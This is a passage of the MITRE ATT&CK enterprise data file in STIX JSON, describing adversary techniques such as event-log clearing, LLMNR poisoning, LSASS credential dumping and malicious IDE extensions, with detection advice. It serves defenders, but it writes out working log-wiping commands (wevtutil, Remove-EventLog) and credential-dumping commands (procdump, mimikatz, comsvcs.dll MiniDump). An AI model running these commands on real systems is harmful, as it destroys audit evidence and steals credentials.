            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Drive: Drive Creation",
                "Drive: Drive Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "created": "2020-01-28T17:05:14.707Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/001",
                    "external_id": "T1070.001"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "Microsoft Clear-EventLog",
                    "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"
                },
                {
                    "source_name": "Microsoft EventLog.Clear",
                    "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
                    "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"
                },
                {
                    "source_name": "Microsoft wevtutil Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:36.700Z",
            "name": "Clear Windows Event Logs",
            "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Lucas Heiligenstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Deletion",
                "Process: OS API Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "created": "2020-10-01T01:09:53.217Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585/002",
                    "external_id": "T1585.002"
                },
                {
                    "source_name": "Trend Micro R980 2016",
                    "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:25:33.493Z",
            "name": "Email Accounts",
            "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "created": "2020-02-11T19:08:51.677Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557/001",
                    "external_id": "T1557.001"
                },
                {
                    "source_name": "Rapid7 LLMNR Spoofer",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
                },
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
                },
                {
                    "source_name": "TechNet NetBIOS",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
                },
                {
                    "source_name": "GitHub NBNSpoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "url": "https://github.com/nomex/nbnspoof"
                },
                {
                    "source_name": "GitHub Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "url": "https://github.com/Kevin-Robertson/Conveigh"
                },
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
                },
                {
                    "source_name": "Sternsecurity LLMNR-NBTNS",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
                },
                {
                    "source_name": "Wikipedia LLMNR",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:44:23.234Z",
            "name": "LLMNR/NBT-NS Poisoning and SMB Relay",
            "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Eric Kuehn, Secure Ideas",
                "Matthew Demaske, Adaptforward",
                "Andrew Allen, @whitehat_zero"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Service: Service Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222",
                    "external_id": "T1222"
                },
                {
                    "source_name": "falconoverwatch_blackcat_attack",
                    "description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.",
                    "url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"
                },
                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
                },
                {
                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
                },
                {
                    "source_name": "bad_luck_blackcat",
                    "description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.",
                    "url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"
                },
                {
                    "source_name": "fsutil_behavior",
                    "description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"
                },
                {
                    "source_name": "EventTracker File Permissions Feb 2014",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
                    "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"
                },
                {
                    "source_name": "blackmatter_blackcat",
                    "description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
                },
                {
                    "source_name": "new_rust_based_ransomware",
                    "description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:17.378Z",
            "name": "File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Jan Miller, CrowdStrike"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution",
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "created": "2020-02-11T18:41:44.783Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/001",
                    "external_id": "T1003.001"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "Deep Instinct LSASS",
                    "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.",
                    "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Symantec Attacks Against Government Sector",
                    "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.",
                    "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"
                },
                {
                    "source_name": "TechNet Blogs Credential Protection",
                    "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:45:12.834Z",
            "name": "LSASS Memory",
            "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Edward Millington",
                "Ed Williams, Trustwave, SpiderLabs",
                "Olaf Hartong, Falcon Force",
                "Michael Forret, Quorum Cyber"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Process: OS API Execution",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
            "created": "2019-12-03T12:59:36.749Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/001",
                    "external_id": "T1053.001"
                },
                {
                    "source_name": "rowland linux at 2019",
                    "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.",
                    "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
                },
                {
                    "source_name": "GTFObins at",
                    "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.",
                    "url": "https://gtfobins.github.io/gtfobins/at/"
                },
                {
                    "source_name": "Kifarunix - Task Scheduling in Linux",
                    "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.",
                    "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-18T17:59:20.778Z",
            "name": "At (Linux)",
            "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)",
            "kill_chain_phases": [
                {
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            "created": "2025-03-30T22:16:24.078Z",
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                    "url": "https://attack.mitre.org/techniques/T1176/002",
                    "external_id": "T1176.002"
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                {
                    "source_name": "Abramovsky VSCode Security",
                    "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
                    "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
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                    "source_name": "Lakshmanan Visual Studio Marketplace",
                    "description": "Lakshmanan, R. (2023, January 9). Hackers Can Abuse Visual Studio Marketplace to Target Developers with Malicious Extensions. Retrieved March 30, 2025.",
                    "url": "https://thehackernews.com/2023/01/hackers-distributing-malicious-visual.html"
                },
                {
                    "source_name": "Mnemonic misuse visual studio",
                    "description": "Mnemonic. (n.d.). Advisory: Misuse of Visual Studio Code for traffic tunnelling. Retrieved March 30, 2025.",
                    "url": "https://www.mnemonic.io/resources/blog/misuse-of-visual-studio-code-for-traffic-tunnelling/"
                },
                {
                    "source_name": "ExtensionTotal VSCode Extensions  2025",
                    "description": "Yuval Ronen. (2025, April 4). Mining in Plain Sight: The VS Code Extension Cryptojacking Campaign. Retrieved April 8, 2025.",
                    "url": "https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59"
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            "name": "IDE Extensions",
            "description": "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.(Citation: Mnemonic misuse visual studio) IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)) or side-loaded directly into the IDE.(Citation: Abramovsky VSCode Security)(Citation: Lakshmanan Visual Studio Marketplace)   \n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., [IDE Tunneling](https://attack.mitre.org/techniques/T1219/001)).  \n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.(Citation: ExtensionTotal VSCode Extensions  2025)",
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                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
                },
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                    "source_name": "Elastic Process Injection July 2017",
